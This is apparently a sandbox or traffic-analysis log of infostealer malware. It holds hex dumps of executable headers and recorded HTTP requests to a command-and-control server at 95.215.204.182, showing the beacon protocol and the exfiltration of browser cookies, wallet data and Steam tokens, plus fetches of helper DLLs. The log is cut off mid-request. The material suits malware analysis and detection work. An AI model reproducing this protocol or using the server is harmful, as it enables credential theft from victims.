00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 16:25:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.204.182Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 95.215.204.182Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 36 30 38 34 42 41 41 43 41 44 32 33 32 32 36 39 35 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="hwid"3C6084BAACAD2322695909------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="build"LogsDiller------HIDAFHDHCBGDGCBGCGII--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 95.215.204.182Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="message"browsers------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 95.215.204.182Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="message"plugins------HCFCAAEBGCAKKFIDBKJJ--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 95.215.204.182Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"fplugins------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 95.215.204.182Content-Length: 5307Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 95.215.204.182Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHDBGDHDAECBGDHJKFI--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 95.215.204.182Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file"------DBGIJEHIIDGCFHIEGDGC--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: 95.215.204.182Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 95.215.204.182Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file"------BAFCGIJDAFBKFIECBGCA--
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/freebl3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/mozglue.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/msvcp140.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/nss3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/softokn3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/vcruntime140.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDHHost: 95.215.204.182Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBGCAFIIECBFIDHIJHost: 95.215.204.182Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 2d 2d 0d 0a Data Ascii: ------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="message"wallets------CBGCBGCAFIIECBFIDHIJ--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 95.215.204.182Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"files------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 95.215.204.182Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 95.215.204.182Content-Length: 98115Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 95.215.204.182Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 